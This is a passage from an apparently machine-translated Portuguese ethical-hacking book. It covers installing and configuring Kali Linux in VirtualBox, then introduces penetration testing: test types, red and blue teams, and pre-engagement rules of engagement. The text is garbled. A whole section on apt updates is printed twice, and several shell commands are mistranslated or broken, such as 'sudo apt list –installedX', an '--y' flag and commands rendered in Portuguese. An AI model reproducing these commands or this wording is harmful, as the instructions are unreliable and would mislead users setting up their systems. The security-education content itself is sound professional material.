acessar o site, você pode escolher baixar pacotes de plataformas diferentes.
Depois de fazer o download do Virtual Box, você será capaz de construir e
executar várias VM-s (máquinas virtuais). Os manuais do usuário de como
instalar o Virtual box, estão todos no site deles que já listou no capítulo
anterior. Usar o software é simples e é recomendável executar o Kali Linux
nele.
Você pode usar outro ambiente virtual semelhante, como o vmWare, mas
pessoalmente tenho usado o Virtual Box por muitos anos, portanto, é a isso
que me referirei ao longo deste livro.
Kali Linux é uma distribuição de sistema operacional Linux que você pode
usar como sistema operacional principal ou executar virtualmente. Você pode
executá-lo em forma de DVD ou até mesmo de USB. Depois de baixar o
arquivo ISO, você pode instalá-lo na parte superior do seu sistema
operacional existente.
Kali Linux é o melhor kit / software de ferramentas de teste de penetração
que possui centenas de ferramentas integradas, prontas para uso em testes de
penetração em qualquer rede. O Kali Linux serve para testar uma rede
existente e tentar encontrar possíveis vulnerabilidades, para que a segurança
geral da rede possa ser melhorada.
Kali Linux também é fácil de usar e as categorias de ferramentas integradas a
ele são para coleta de informações, análise forense, engenharia reversa, teste
de estresse, avaliação de vulnerabilidade, ferramentas de relatórios,
ferramentas de explosão, acompanhamento de privilégios, manutenção de
acesso e muito mais.
Depois de baixar o Kali Linux e estar pronto para instalá-lo em um ambiente
virtual, existem alguns detalhes que você deve estar ciente. Ao criar uma
nova máquina virtual para Kali, você deve alocar pelo menos 4 Gb de espaço
e outros 20 Gb para o disco rígido virtual.

Depois de ter uma nova máquina virtual construída completa, você deve ir
para as configurações e certificar-se de ajustar as configurações de rede,
escolhendo a ponte da VM para o seu roteador. Depois de terminar as
configurações, você deve ser
capaz de inicializar a imagem. O comando que você
precisa digitar é “startx”
em seguida, pressione Enter. Isso iniciará a instalação da GUI (Graphical
User Interface) do disco rígido, o que também é recomendado. Até que a GUI
seja instalada, há algumas perguntas que você precisa responder, como
idioma, teclado, localização e configurações de relógio para o fuso horário.
Quando a instalação for concluída, você deve reiniciar a imagem para
inicializar a partir do disco rígido. Após a conclusão da reinicialização, Kali
pedirá detalhes de logon no CLI (Interface de linha de comando). Para o
nome de usuário, digite
"raiz"
e para a senha, digite
“toor”
e pressione Enter. Se você é novo no CLI e não sabe nenhum comando e o
que digitar, não se preocupe. Você sempre pode mudar para a GUI digitando
o comando
“Startx”
e pressione Enter. Isso abrirá a GUI amigável que permitirá que você tenha
acesso a todas as ferramentas do Pen Test que discutiremos posteriormente.
Outras configurações básicas que você precisa fazer é o endereçamento IP.
O Kali Linux por padrão procura um endereço IP do seu DHCP, mas é
recomendado atribuir um endereço IP estático, para que você não se perca
qual IP representa qual máquina. O comando CLI de que você precisa para
atribuir um endereço IP no Kali é:
“Ifconfig eth0 10.10.10.2/24 up”
Em seguida, você deve configurar o gateway padrão, que é o endereço IP do
seu roteador. Para fazer isso, digite o comando:

“Route add default gw 10.10.10.1”


Depois que essas configurações forem concluídas, execute ping no endereço
IP do seu roteador digitando o comando:
“Ping 10.10.10.1”
Depois de ter acessibilidade ao seu gateway padrão e conseguir acessar a
Internet com esse roteador, você deve testar a conectividade com a Internet
digitando o comando:
“Ping www.google.com”
Se tiver êxito, significa que o Kali Linux instalado virtualmente está
conectado à Internet. O motivo pelo qual você precisa de acesso à Internet é
porque deseja atualizar seu Kali Linux.
Atualizar seu Kali Linux é sua prioridade. A primeira tarefa que você deve
executar após uma instalação limpa é atualizar o sistema operacional.
Ferramentas de empacotamento avançadas, também conhecidas como APT,
estendem as funcionalidades dos pacotes Debian pesquisando repositórios e
instalando ou atualizando pacotes junto com todas as dependências
necessárias.
Abra seu console e digite “apt-get update”, que é usado para ressincronizar os
arquivos de índice de pacote local com sua fonte conforme definido no
arquivo de lista de fontes. O comando update deve sempre ser usado
primeiro, antes de realizar uma atualização ou atualização de distribuição.
Em seguida, você precisa atualizar o Kali emitindo a opção “--y”, que
continua com a instalação sem o incômodo de escrever sim todas as vezes.
Então, o que significa o apt-get upgrade?
Bem, ele é usado para instalar as versões mais recentes de todos os pacotes
instalados no sistema. Portanto, os pacotes existentes no Kali com novas
versões disponíveis são atualizados. É importante observar que o comando
upgrade não mudará ou excluirá pacotes que não estão sendo atualizados e
não instalará pacotes que ainda não estejam presentes.
Por último, você precisa executar o comando “upgrade de distribuição”. Este
comando atualiza todos os pacotes atualmente instalados no sistema e suas
dependências.
Ele também remove pacotes obsoletos do sistema. A próxima coisa que você
precisa fazer é reinicializar sua máquina. Após reiniciar sua máquina, agora
você tem uma nova versão limpa do Kali.
Para listar os pacotes Debian instalados em sua máquina, você executaria o
seguinte comando: “sudo apt list –installedX”
Se houver um monte deles e quiser saber se uma ferramenta específica já está
instalado, você pode filtrar os resultados adicionando o argumento “filtro
grep”.
Para mostrar uma descrição completa de um pacote e identificar suas
dependências, execute o seguinte comando: “dpkg --status packagename”
E, finalmente, para remover um pacote do Kali, você deve executar o
seguinte comando; “Sudo apt-get remove name → un-install package“
Claro, você precisa substituir o nome do pacote pelo nome do seu aplicativo.
Finalmente, quero explicar como seu sistema usa os repositórios oficiais do
Kali. Toda a mágica acontece no arquivo “sources.list”.
Você pode dar uma olhada nesse arquivo abrindo-o usando o bloco de folhas
sempre que executar o comando de atualização, Kali olha o conteúdo deste
arquivo para realizar o processo de atualização.
Atualizar seu Kali Linux é sua prioridade. A primeira tarefa que você deve
executar após uma instalação limpa é atualizar o sistema operacional.
Ferramentas de empacotamento avançadas, também conhecidas como APT,
estendem as funcionalidades dos pacotes Debian pesquisando repositórios e
instalando ou atualizando pacotes junto com todas as dependências
necessárias.
Abra seu console e digite “apt-get update”, que é usado para ressincronizar os
arquivos de índice de pacote local com sua fonte conforme definido no
arquivo de lista de fontes. O comando update deve sempre ser usado
primeiro, antes de realizar uma atualização ou atualização de distribuição.
Em seguida, você precisa atualizar o Kali emitindo a opção “--y”, que
continua com a instalação sem o incômodo de escrever sim todas as vezes.
Então, o que significa o apt-get upgrade?
Bem, ele é usado para instalar as versões mais recentes de todos os pacotes
instalados no sistema. Portanto, os pacotes existentes no Kali com novas
versões disponíveis são atualizados. É importante observar que o comando
upgrade não mudará ou excluirá pacotes que não estão sendo atualizados e
não instalará pacotes que ainda não estejam presentes.
Por último, você precisa executar o comando “upgrade de distribuição”. Este
comando atualiza todos os pacotes atualmente instalados no sistema e suas
dependências.
Ele também remove pacotes obsoletos do sistema. A próxima coisa que você
precisa fazer é reinicializar sua máquina. Após reiniciar sua máquina, agora
você tem
uma versão limpa e fresca de Kali.
Para listar os pacotes Debian instalados em sua máquina, você executaria o
seguinte comando: “sudo apt list –installedX”
Se houver vários deles e quiser saber se uma ferramenta específica já está
instalada, você pode filtrar os resultados adicionando o argumento “filtro
grep”.
Para mostrar uma descrição completa de um pacote e identificar suas
dependências, execute o seguinte comando: “dpkg --status packagename”
E, finalmente, para remover um pacote do Kali, você deve executar o
seguinte comando; “Sudo apt-get remove name → un-install package“
Claro, você precisa substituir o nome do pacote pelo nome do seu aplicativo.
Finalmente, quero explicar como seu sistema usa os repositórios oficiais do
Kali. Toda a mágica acontece no arquivo “sources.list”.
Você pode dar uma olhada nesse arquivo abrindo-o usando o bloco de folhas
sempre que executar o comando de atualização, Kali olha o conteúdo deste
arquivo para realizar o processo de atualização.
Agora é hora de listar algumas ferramentas importantes que podem ser muito
úteis para você como um testador de penetração. O primeiro da lista é
chamado de aplicativo de pré-carregamento. Para instalar este pacote,
execute o seguinte comando:
“Sudo apt-get install preload”
O aplicativo de pré-carregamento identifica os programas mais comumente
usados de um usuário e pré-carrega binários e dependências na memória para
fornecer acesso mais rápido. Funciona automaticamente após a primeira
reinicialização, após a instalação.
Sua próxima ferramenta é chamada de “branqueador”. O Bleachbit libera
espaço em disco e melhora a privacidade, liberando o cache, excluindo
cookies, limpando o histórico da Internet, destruindo arquivos temporários,
excluindo logs e descartando outros arquivos desnecessários. Este aplicativo
possui alguns recursos avançados, como destruir arquivos para evitar a
recuperação e limpar o espaço livre em disco para ocultar rastros de arquivos
que não foram totalmente excluídos. O comando que você precisa para
instalar o bleachbit é:
“Sudo apt-get install bleachbit”
O próximo programa é o gerenciador de inicialização. Cada aplicativo
executado usando o processo de inicialização torna o sistema mais lento. Isso
pode afetar o uso da memória e o desempenho do sistema. Você pode instalar
o “gerenciador de inicialização” para desativar serviços e aplicativos
desnecessários que são ativados durante a inicialização. O comando que você
precisa para instalá-lo é:
“Sudo apt-get install bum”
O próximo aplicativo que você deve estar ciente e instalar é chamado de
“gnome-do”. Se você gosta de executar aplicativos com seu teclado, “gnome-
do” é a ferramenta certa para você. O comando que você precisa para instalar
esta ferramenta é:
“Sudo apt-get install gnome-do”
Seu próximo software na lista é o “arquivo apt”. Esta é uma ferramenta de
linha de comando para pesquisar dentro de pacotes do sistema de
empacotamento “apt”. Ele permite que você liste o conteúdo de um pacote
sem instalá-lo ou buscá-lo. O comando que você precisa para instalá-lo é:
“Apt-get install apt-file”
Depois de instalar o pacote, você também deve atualizá-lo usando o
comando: “
“Atualização do arquivo apt”
O próximo aplicativo que você precisa instalar é chamado de “Scrub”. Este
aplicativo é um programa de exclusão seguro para compilar com os padrões
do governo. O comando que você precisa para instalar esta ferramenta é:
“Sudo apt-get install scrub”
Em seguida, você precisa instalar o “Obturador”. Obturador é uma
ferramenta de captura de tela que captura imagens de sua área de trabalho. O
comando que você precisa para instalar esta ferramenta é:
“Apt-get install shutter”
O próximo software que você deve instalar é chamado de “Figlet”. Este
programa fará com que seu console pareça profissional, exibindo uma
mensagem personalizada, como o nome da sua empresa, por exemplo. O
comando que você precisa para instalar esta ferramenta é:
“Apt-get install figlet”
Em seguida, você precisa editar o “arquivo bashrc”, rolando até o final do
arquivo e digite “mensagem figlet”. Em seguida, salve, feche e reinicie o
console e, da próxima vez que você efetuar logon novamente na sessão do
console, a primeira coisa que deverá ver é a mensagem que forneceu.
Em seguida, você precisa estar ciente do SSH, também conhecido como
configuração do Secure Shell. Kali vem com chaves SSH padrão, mas antes
de começar a usar o SSH no Kali, é uma boa ideia desabilitar as chaves
padrão e gerar um conjunto de chaves exclusivo. O processo de mover as
chaves originais e gerar o novo conjunto de chaves é o seguinte. Primeiro,
abra seu console e mude o diretório para a pasta SSH.

NOTA: Aqui está uma ajuda sobre como navegar nos diretórios;

Para retornar ao diretório inicial imediatamente, use cd ~ OU


cd Para mudar para o diretório raiz do sistema de arquivos
Linux, use cd /. Para ir para o diretório do usuário root,
execute cd / root / como usuário root.
Para navegar um nível acima do diretório, use
cd .. Para voltar ao diretório anterior, use cd -

Em seguida, você deve criar uma pasta de backup e mover as chaves SSH
para essa pasta de backup.
NOTA: O comando cp é um comando do Linux para copiar arquivos e
diretórios. A sintaxe é a seguinte:

cp origem destino cp
dir1 dir2
cp -option source destination
cp -option1 -option2 source destination
No exemplo a seguir, copie / home / teste / papel / pasta e todos os seus
arquivos para
/ usb / backup / diretório, use o seguinte comando:
cp -avr / home / test / paper / usb / backup
-a: preserva os atributos especificados, como diretório, modo de arquivo,
propriedade, carimbos de data / hora, se possível, atributos adicionais:
contexto, links, xattr, todos.
-v: saída detalhada.
-r: Copia diretórios recursivamente.
Por último, você precisa gerar o novo conjunto de chaves, portanto, use o
seguinte comando:
“Dpkg-reconfigure openssh-server”
A seguir, você verá as seguintes mensagens, indicando que suas chaves ssh
são geradas:
Criação de chave SSH2 RSA; isso pode levar algum
tempo ... Criando a chave SSH2 DSA; isso pode levar
algum tempo ... Criando a chave SSH2 ECDSA; isto
pode tomar algum tempo …
Em seguida, você deve verificar os hashes da chave ssh usando o seguinte
comando:
“Md5sum ssh_host_ *”
Aqui, o * representa suas novas chaves, portanto, compare esses hashes
usando os seguintes comandos:
“Cd default_kali_keys
/” “md5sum *”
Depois de regenerar os pares de chaves SSH, você pode iniciar o serviço SSH
via
/ usr / sbin / sshd da CLI.
Depois de iniciar o SSH, se quiser verificar se o serviço está em execução,
execute uma consulta “netstat”. Na saída, você deve ver que o SSH agora está
escutando na porta 22.
Capítulo 4 Introdução aos testes de penetração

Já discutimos os fundamentos do Linux, especificamente Kali Linux, bem


como o software e hardware adicional que você pode precisar como Hacker
Ético. No entanto, em vez de pular direto para a linha de comando ou
interface gráfica do usuário de Kali, você deve saber mais sobre os
procedimentos, uma vez que você assumir um trabalho como Hacker Ético.
Portanto, primeiro, veremos como entender o teste de penetração e como ele
funciona em termos de reconhecimento e pegada. Depois disso, vamos
discutir como fazer o pen test e escanear seus alvos.
Primeiro, temos que entender por que fazemos pen test em primeiro lugar.
Essa pode parecer uma pergunta óbvia, mas daremos mais alguns detalhes
aqui. A seguir, falaremos sobre os diferentes tipos de pen tests, mas não
existem apenas diferentes tipos, mas diferentes indivíduos que também estão
envolvidos, dos quais você deve estar ciente.
Em seguida, passaremos pelos três diferentes estágios do teste da caneta para
que você entenda totalmente o que são. Veremos o estágio de pré-ataque, no
qual passamos muito tempo porque queremos definir alguns parâmetros,
além de nos proteger legalmente.
Em seguida, veremos o estágio 2, onde veremos as coisas que faremos
durante o ataque. Em seguida, veremos as etapas pós-ataque e falaremos
sobre os padrões que você deve seguir.
Alguns dos padrões são feitos por fabricantes, e alguns deles são padrões
abertos, portanto, você precisará decidir qual deseja seguir com base no que
está tentando realizar. Depois de encontrar o padrão para você mesmo, siga-
o.
Mas para a pergunta; “Por que fazemos o pen-test em primeiro lugar?” Bem,
esta parece uma pergunta fácil ou que você pensaria que a resposta é bastante
direta, mas existem alguns motivos pelos quais fazemos pen tests.
Em primeiro lugar, queremos avaliar o perfil de segurança atual da
organização, simulando um ataque para descobrir quais vulnerabilidades um
invasor mal-intencionado pode explorar.
Outro motivo legítimo para fazermos o pen test é criar medidas de segurança.
Já que estamos indo atrás da rede, não faz sentido ir em frente e descobrir ou
talvez redesenhar nossos mecanismos de segurança atuais?
Muitas pessoas acham que o pen-test é projetado para apontar
vulnerabilidades, mas não vamos apenas apontar a vulnerabilidade, mas
também devemos destacar os efeitos que essa fraqueza ou vulnerabilidade
representa para a empresa.
Após a conclusão de um pen-test, podemos entregar um relatório abrangente
com os detalhes de tudo o que descobrimos. Você também pode argumentar
que o teste de caneta foi desenvolvido não apenas para mostrar as lacunas em
seu modelo de segurança, mas também pode se beneficiar na recuperação de
desastres e no planejamento da continuidade dos negócios.
O objetivo é simular métodos que atacantes maliciosos usariam para tentar
obter acesso não autorizado à sua rede.
Em primeiro lugar, você deseja garantir que listou os objetivos do pen test.
Algumas empresas podem ou não precisar de alguns elementos testados. O
estabelecimento de parâmetros para esses testes deve ser o foco principal e as
limitações ou justificativas para atacar esses sistemas.
Outra maneira de garantir a realização de um pen-test decente é seguir uma
metodologia, e falaremos sobre os métodos mais tarde, mas você quer se
concentrar em um, porque a maioria dos planos garantirá que você cubra
todos os seus bases.
A documentação é outro fator vital para um pen-test decente. Queremos
garantir que o cliente possa entender do que estamos falando e o pen tester
precisa garantir que esteja disponível para responder a quaisquer perguntas
que possam surgir do relatório do pen-test documentado.
Outra maneira de garantir um pen-test decente é provar que você tem as
ferramentas certas. Algumas dessas ferramentas serão proprietárias, algumas
de código aberto, algumas farão coisas para você automaticamente, outras
podem incluir scripts, bem como apenas interfaces de linha de comando
padrão.
Outra forma de garantir um pen test decente é escolher quem está envolvido.
Você pode não estar fazendo isso sozinho. Se estiver fazendo isso sozinho,
você deseja garantir que você e todos os outros envolvidos no pen test sejam
um testador de penetração legítimo que segue as regras dos acordos de não
divulgação.
Isso é importante se você está sendo contratado para fazer um pen-test que
pode destruir uma empresa. É seu trabalho, sua responsabilidade e sua
integridade garantir que você ajude a proteger o cliente.
Você também deseja garantir que não apenas aponte o que está errado, mas,
ao relatar as descobertas, forneça algumas recomendações sobre o que precisa
ser feito ou o que poderia ser feito para corrigir o problema.
Ofereça soluções o tempo todo. Além dos quatro motivos principais para a
realização de um pen test, há alguns outros motivos pelos quais você também
deve estar ciente.
Um deles pode ser no aspecto de tentar propor mudanças que precisam ser
feitas em sua infraestrutura para torná-lo mais seguro, seja relacionado a
hardware ou software, ou mesmo se for o design de rede.
Também podemos usar os resultados do teste de caneta para criar etapas de
preparação para ajudar a prevenir a ocorrência de explorações. Outro motivo
é observar a eficácia das máquinas da rede e, em seguida, avaliá-las, mesmo
que essas máquinas sejam firewalls, roteadores, switches, servidores da Web,
servidores de arquivos.
Também utilizamos os resultados do teste de caneta para confirmar nossas
defesas de segurança e os controles que temos em vigor. Por exemplo, porque
você fez um pen test há 3 meses, isso não significa que algo não mudou em
sua rede.
Da mesma forma, os resultados do teste de caneta podem nos beneficiar na
criação de equipes ou gerenciamento para nos ajudar a focar em
vulnerabilidades específicas e problemas de segurança para treinar as pessoas
que são responsáveis por esses sistemas.
Também utilizaríamos os resultados do teste de caneta para nos ajudar a
identificar as ameaças que estão enfrentando os ativos de nossa organização,
e isso vai mudar porque diferentes negócios estão em um setor diferente.
Por exemplo, os hospitais vão olhar para diferentes mecanismos de segurança
em comparação com uma pequena empresa. Para reduzir os gastos da
organização com segurança de TI e aumentar o Retorno do Investimento ou
ROI quando se trata desses dispositivos de segurança, devemos identificar e
corrigir vulnerabilidades e fraquezas.
Também podemos utilizar os resultados do teste de caneta para criar
políticas, procedimentos, implementações e novos designs. Também
podemos usar esse tipo de relatório para nos ajudar a desenvolver sistemas,
processos, execuções e planos para nossa empresa.
E não vamos esquecer que certas empresas precisam se preocupar com
regulamentações específicas. Por último, apresentar as melhores práticas para
regulamentações legais e do setor; não há nada pior do que ter uma violação
de dados e ser processado

por uma ação coletiva de seus clientes porque você não conseguiu mostrar
que estava tentando proteger seus dados.
Você vai ler muitos termos diferentes sendo utilizados quando se trata de
diferentes tipos de testes sendo feitos, como uma auditoria de segurança ou
avaliação de vulnerabilidade, enquanto ainda estamos falando sobre pen-
testing.
Algumas pessoas podem utilizar todos esses termos de maneira
intercambiável, mas existem algumas diferenças consideráveis, como uma
auditoria de segurança verifica se a empresa está seguindo um conjunto de
políticas e procedimentos de segurança padrão.
A avaliação da vulnerabilidade se concentra na descoberta de
vulnerabilidades dentro da rede, mas não fornece nenhuma indicação se as
vulnerabilidades podem ser exploradas ou a quantidade de danos que podem
resultar.
Em resumo, um pen test é uma abordagem sistemática para avaliação de
segurança que abrange também a auditoria de segurança e demonstra se o
invasor pode explorar com êxito os pontos fracos dos sistemas.
Quando se trata de pen testing, você também ouvirá diferentes tipos de
equipes e, como existem dois tipos de grupos, deixe-me explicar o que cada
um é.
O primeiro é conhecido como time vermelho. Uma equipe vermelha também
é conhecida como equipe agressora. Esta é uma equipe de hackers éticos que
realizam testes de penetração em seus sistemas com nenhum ou acesso
limitado aos recursos internos da organização.
As equipes vermelhas atacam com ou sem aviso, e a equipe vermelha pode
incluir alguns administradores de sistema de diferentes departamentos da
organização.
O outro tipo de equipe é conhecido como time azul. A equipe azul é uma
equipe defensiva. A equipe azul tem acesso a todos os recursos e informações
organizacionais.
Sua função principal é detectar e tentar mitigar as atividades da equipe
vermelha e antecipar como um ataque surpresa pode ocorrer. A equipe azul
pode incluir alguns administradores de sistema e equipe de TI padrão. É a
abordagem de avaliação mais barata e mais frequente.
Quando se trata dos tipos de pen-tests existentes, tudo depende da sua
abordagem e de quanta informação você tem, ou fornecida a você pelo

organização antes do início dos testes.


Além disso, também depende se os pen-tests são internos ou externos.
Resumimos isso em uma caixa branca.
Um teste de caneta de caixa branca significa que temos um conhecimento
completo da infraestrutura e, quando digo experiência abrangente, o cliente
ou a empresa fornecerá uma topologia de rede, incluindo todos os diagramas,
inventários de ativos e também seus inventários de software.
Uma empresa fará esse tipo de teste quando quiser uma auditoria completa de
sua segurança. Apesar de tudo isso, a segurança da informação é um processo
contínuo, e o teste de caneta nos dá um instantâneo da postura de segurança
daquela empresa naquele ponto específico.
Outro tipo de teste é um teste de caixa preta. Isso é dividido em dois tipos de
testes. Um deles é conhecido como teste cego. Em um teste cego, o pen tester
não sabe nada sobre a empresa ou o alvo, mas o alvo é informado do escopo
da auditoria, ou seja, o quê, como e quando o testador fará o teste.
Em um teste cego, o atacante simula as ações, processos e procedimentos que
um atacante real faria. Faremos algum reconhecimento, algumas pegadas,
algumas digitalizações e também examinaremos algumas informações
disponíveis publicamente.
Os testes cegos são mais demorados e mais caros por causa do tempo. O
outro tipo de teste de caixa preta é conhecido como duplo-cego.
Isso também é conhecido como teste de conhecimento zero, de modo que
nem o pen tester sabe sobre o alvo, nem o alvo é informado do escopo da
auditoria, portanto, eles não sabem o quê, nem como.
Esta é uma das avaliações mais populares que são usadas hoje devido ao
aspecto de que testa o conhecimento de todos.
Também temos algo chamado caixa cinza. Esta é uma combinação de testes
de caixa preta e caixa branca. Esse tipo de teste é quando o invasor tem um
conhecimento parcial, como um nome de domínio dos servidores.
Isso ajuda a economizar algum tempo em relação à caixa preta. Esta é apenas
uma economia de tempo para nós, porque em uma caixa preta, é apenas uma
questão de tempo antes que eu reconheça você e chegue à área cinza.
A suposição de que você fará esse trabalho também pode fornecer
o que é conhecido como perspectiva dupla, que oferece uma inspeção
completa do sistema tanto da perspectiva do desenvolvedor quanto da
perspectiva do invasor.
Portanto, podemos atacar de fora, bem como simular um ataque interno por
um funcionário descontente. Existem algumas abordagens diferentes que
você pode adotar.
Primeiro, você pode implementar uma estratégia anunciada. Nessa
abordagem, o pen tester deve ser capaz de obter uma visão geral completa da
infraestrutura da organização e, em seguida, também receber acesso físico.
O problema aqui é que isso tem menos impacto na rede porque você sabe que
eles estão vindo.
Quando se trata de uma abordagem não anunciada, isso é benéfico quando se
trata de testar o conhecimento do pessoal de segurança, bem como examinar
os ataques de engenharia social da organização.
Em uma abordagem não anunciada, apenas a alta gerência está ciente desses
testes e de que eles ocorrerão. Os caras de TI padrão, como Service Desk,
equipe de infraestrutura ou equipe de aplicativos, não têm ideia de quando
isso vai acontecer.
Isso tende a ter um impacto mais significativo e também requer um processo
rigoroso do que será feito. O objetivo real de uma abordagem não anunciada
é testar o estado de alerta da infraestrutura e a capacidade de resposta da
equipe de TI.
Capítulo 5 Teste de Caneta na Etapa 1

O estágio um do teste de caneta também é conhecido como Pré-engajamento,


e este estágio se concentra em coletar o máximo de informações possível
sobre seu alvo. Isso pode ser feito usando técnicas como digitalização ou
pegada.
Você deve definir seus limites, e é isso que você quer definir primeiro, mas,
assim como os militares, existem regras de combate. Por exemplo, militares
não têm permissão para atirar, a menos que sejam disparados.
Porque eles vêem alguém com uma arma, não significa que eles podem ir em
frente e atirar. Tudo depende da guerra em que estão. Cada um teria suas
próprias regras de combate, e aqui é a mesma coisa.
Você está criando uma permissão formal para conduzir o teste de penetração
e, nas regras de contratação, você pode especificar se realiza ou não
atividades técnicas ou não técnicas.
As regras de engajamento definem explicitamente essas atividades. Um
profissional de segurança que está fazendo um pen test pode ter permissão
para realizar certas atividades que geralmente são consideradas ilegais.
Algumas regras de itens de engajamento desejam incluir o intervalo de
endereços IP que você tem permissão para testar. Você não sai da faixa ou
horários que o teste conduz durante o horário comercial ou após o horário
comercial.
Você pode estar pensando; “O teste de caneta pode ser realizado a qualquer
momento?” Bem, sim, mas tudo depende se você estivesse fazendo uma
simulação de um ataque de caixa cinza de dentro, por exemplo, porque isso
pode ser feito estritamente durante o horário comercial.
Você também deseja ter uma lista de hosts que o cliente ou departamento
pode considerar restringir. Se você vir um endereço IP que não está na sua
lista, não toque nele!
Você também listará os métodos de teste aceitáveis, como engenharia social,
ataque de negação de serviço, quais ferramentas serão usadas, crackers de
senha, sniffers de rede e assim por diante.
Se você vai usar a ferramenta chamada “Nmap” por exemplo, será uma
varredura Nmap agressiva ou uma varredura Nmap privada? Você também
deve especificar a duração do teste.
Dependendo do teste em si ou do que você concordou; alguns testes de caneta
podem levar

até dois a três meses para realizar. Da mesma forma, qualquer pessoa que
esteja na equipe de penetração pode ter um ponto de contato se houver algum
tipo de emergência.
Você também deseja listar algumas medidas para evitar que as autoridades
sejam chamadas com alarmes falsos que podem ser criados pelo teste,
especialmente se for um teste físico.
Suas regras de engajamento também devem incluir como lidar com as
informações que você coletou. Um dos pré-requisitos que você deve ter ao
fazer um pen test para uma empresa é que ela lhe forneça um laptop.
Não é um laptop que você pode manter, mas um laptop que pode ser usado
durante o pen test, incluindo o relatório.
Depois de concluir o teste de caneta, você devolve o laptop a eles com
instruções, e eles querem armazená-lo para possíveis testes de caneta futuros
como acompanhamento.
Dessa forma, você não é acusado de armazenar suas informações em seus
sistemas. A tecnologia muda rapidamente. Se eles guardassem o laptop por
cinco ou seis anos, ele poderia ficar obsoleto.
Portanto, você também pode aconselhar seu cliente a retirar os discos rígidos
do computador e armazenar apenas esses, e certificar-se de que os dados
sejam armazenados em um local extremamente seguro.
Você vai ter uma lista do que o cliente precisa e as informações que você
coleta durante o processo de entrevista para que você deva garantir que irá
tratá-los em última instância.
Você analisará com o cliente ou departamento o que precisa ser testado,
como servidores, estações de trabalho, roteadores, firewalls, dispositivos de
rede, bancos de dados, aplicativos, segurança física, telecomunicações,
sistemas de voz e assim por diante.
Você também terá que criar uma lista de verificação de requisitos. Ou seja, o
que o cliente exige que você faça com esses testes específicos. Você também
deve especificar os setores a serem testados e organizar os usuários.
Por exemplo, talvez você só precise examinar departamentos específicos,
como o departamento de TI. Você notificará o pessoal desses departamentos
de que algo pode estar acontecendo na próxima semana ou depois.
Você também precisará identificar seus prazos, mas deve garantir que seja o
prazo que o cliente exige. Não é o que você acha que é melhor, a menos que
estejam pedindo um conselho.
Você também deseja garantir o desenvolvimento de um plano de emergência
caso se depare com uma situação em que um invasor mal-intencionado de
verdade tenha entrado. O que você faz nessas situações?
Bem, você terá que garantir que todas as informações tenham um backup
seguro antes de começar a fazer qualquer coisa, porque algumas coisas que
você pode fazer podem fazer modificações nos arquivos originais.
Você também precisará decidir o formato que usará em seus relatórios. Isso é
feito em um documento padrão do Word? Eles precisam disso em PDF?
Quais informações eles devem ver, devem ser exibidas dependendo de quem
está olhando o relatório?
Por exemplo, talvez o gerente do departamento de TI não queira ver todos os
detalhes do que aconteceu. Ele só precisa ver as coisas de que precisa cuidar
e quem está envolvido na entrega do relatório.
Você tem que ter cuidado aqui porque muitas vezes ao atacar o trabalho de
um profissional de TI e apresentar o relatório de uma forma que seja
construtiva, ao invés de zombaria e de forma genuína.
O profissional de segurança que entrega este relatório precisa estar ciente de
que pode haver algum ódio que apareça, e você goste ou não, você deve
sempre relatar tudo.
Para controlar tudo isso, você deve começar a fazer listas. Aqui estão
algumas coisas que você pode incluir em sua lista de verificação; o layout da
rede ou as sub-redes, que faixas estão usando, olhe para a segurança física
dos servidores e dispositivos de rede, mas também do próprio edifício.
Por exemplo, alguém pode simplesmente entrar no escritório e encontrar um
conector RJ45 vazio? Também não se esqueça, não apenas com o layout da
rede, mas certifique-se de aprender ambos; os endereços IP externos e
internos.
Observe os dispositivos de rede, como roteadores, switches, firewalls, pontos
de acesso sem fio, controladores de LAN sem fio. Quantas dessas máquinas
de cada um deles? Também inclui dispositivos finais, como dispositivos host
sem fio e com fio, como laptops e computadores.
Eu também incluiria impressoras e scanners, câmeras de CFTV, mecanismos
de segurança de entrada de porta, dispositivos de sala de reunião, como
projetores e IPTV-s, telefones IP e telefones IP de conferência, ou mesmo
dispositivos móveis, como telefones celulares, tablets ou mesmo Apple ou
Relógios Android, qualquer coisa que esteja conectada à rede.
Eles precisam de um mapa de sua presença na Internet? Mostre a eles o que é
acessível de fora e, se essas máquinas estiverem conectadas externa e
internamente, você vai querer os endereços de ambos os lados da lista. E
quanto ao sistema operacional na rede?
Se você estiver fazendo um pen test e eles tiverem cinco ou menos
servidores, por exemplo, servidores Windows ou Linux, você deve revisar
mais servidores e, em caso afirmativo, quantos de cada tipo?
Você também deve certificar-se de que pode identificá-los. O cliente exige
uma avaliação das redes sem fio ou de seus sistemas analógicos, bem como
de suas máquinas móveis, especialmente se a organização implantar uma
força de trabalho móvel?
E quanto aos aplicativos e serviços da web oferecidos pelo cliente? Se esse
cliente tiver um site voltado para a frente, ele tem links de redirecionamento
para visitar outros sites ou puxando conteúdo de outras fontes para o site?
Alguns ataques perceptíveis de malware e ransomware atualmente são
causados pelas redes de anúncios. Estas são redes que fornecem anúncios.
Essas são redes de anúncios que legitimam sites, mas as pessoas
simplesmente se inscrevem neles e um invasor mal-intencionado cria um
anúncio, e é apenas HTML com uma mistura de JavaScript, que nada mais é
do que um espaço de compra dentro de uma rede de anúncios.
Essas redes de anúncios são usadas por centenas de sites, e as pessoas não
têm ideia de que podem estar oferecendo código malicioso quando você
visita esses sites.
Continuando, você também vai querer ter certeza de definir o escopo do pen-
test. Isso incluirá as entregas, ou seja, qual é a lista de relatórios que serão
disponibilizados após a conclusão do teste.
Você também deve incluir as definições de dados ou a forma que os
resultados do teste irão assumir. Você também vai querer definir a
funcionalidade, verificar se o sistema funciona conforme o esperado e a
estrutura técnica que pode incluir diagramas de fluxo para mostrar os
processos e etapas pelas quais você passou.
Há uma coisa com a qual você deseja se preocupar e é algo que deseja
explicar ao cliente. Se o pen-test demorar um pouco para fazer, durante esse
período, as alterações podem ser incorporadas em sua rede sem o
conhecimento dos pen-testers e, normalmente, o cliente não entende o
impacto dessas alterações.
Antes que qualquer alteração seja feita durante o período do pen-test, isso
pode ser revisado ou enviado ao líder de contratação da empresa de pen-test
para que ele possa explicar os efeitos das alterações que estão prestes a fazer.
Algumas dessas mudanças incluem quaisquer mudanças no processo de
negócios ou quaisquer mudanças técnicas, como a mudança de local da
empresa. Além disso, se houver algum aplicativo que possa ter sido alterado.
Aqui, não estou falando sobre atualizações para um aplicativo existente, em
vez disso, estou me referindo à mudança para aplicativos completamente
diferentes.
Seguindo em frente, ao considerar o escopo do pen-test, a equipe de teste
deve examinar a segurança do software do sistema, ou a segurança e a
configuração.
Eles também devem examinar as vulnerabilidades baseadas no software e no
sistema. Você deseja examinar a segurança da rede, examinar todos os
